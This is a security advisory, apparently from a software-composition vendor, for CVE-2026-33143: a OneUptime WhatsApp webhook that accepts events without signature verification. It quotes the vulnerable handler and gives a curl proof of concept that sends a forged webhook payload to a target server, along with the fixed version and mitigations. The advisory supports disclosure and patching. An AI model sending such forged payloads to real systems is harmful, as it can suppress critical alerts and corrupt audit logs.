CVE-2026-33143 — oneuptime
CVE-2026-33143 is a CWE-345 vulnerability in oneuptime. A fix is available for oneuptime — see the affected versions and patch details below.
OneUptime: WhatsApp Webhook Missing Signature Verification
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33143.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
oneuptimenpmDescription
Summary
The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.
Details
Vulnerable code — App/FeatureSet/Notification/API/WhatsApp.ts lines 372-430:
router.post(
"/webhook",
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
const body: JSONObject = req.body as JSONObject;
// NO signature verification! No X-Hub-Signature-256 check!
if (
(body["object"] as string | undefined) !== "whatsapp_business_account"
) {
return Response.sendEmptySuccessResponse(req, res);
}
const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined;
// ... processes entries and updates WhatsApp log status records
Compare with the Slack webhook which correctly validates signatures:
Common/Server/Middleware/SlackAuthorization.ts line 58:
const isValid = crypto.timingSafeEqual(
Buffer.from(computedSignature),
Buffer.from(slackSignature)
);
The WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.
No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
# Forge a delivery status update for any WhatsApp notification — no auth, no signature
curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \
-H "Content-Type: application/json" \
-d '{
"object": "whatsapp_business_account",
"entry": [{
"id": "FAKE_WABA_ID",
"changes": [{
"value": {
"messaging_product": "whatsapp",
"metadata": {
"display_phone_number": "+15550000000",
"phone_number_id": "FAKE_PHONE_ID"
},
"messages": [{
"from": "15551234567",
"id": "wamid.FAKE",
"timestamp": "1234567890",
"text": {"body": "INJECTED_MESSAGE"},
"type": "text"
}]
},
"field": "messages"
}]
}]
}'
Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):
< HTTP/1.1 200 OK
{}
- Fake WhatsApp webhook payload accepted with HTTP 200
- No
X-Hub-Signature-256header provided — no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates
Impact
Any unauthenticated remote attacker can forge WhatsApp webhook events:
- False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators
- Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation
- Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails
- Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | oneuptime | all versions | 10.0.34npm install oneuptime@10.0.34 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for oneuptime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update oneuptime to 10.0.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33143 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33143 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33143. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33143 in your dependencies?
O3 Security finds CVE-2026-33143 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.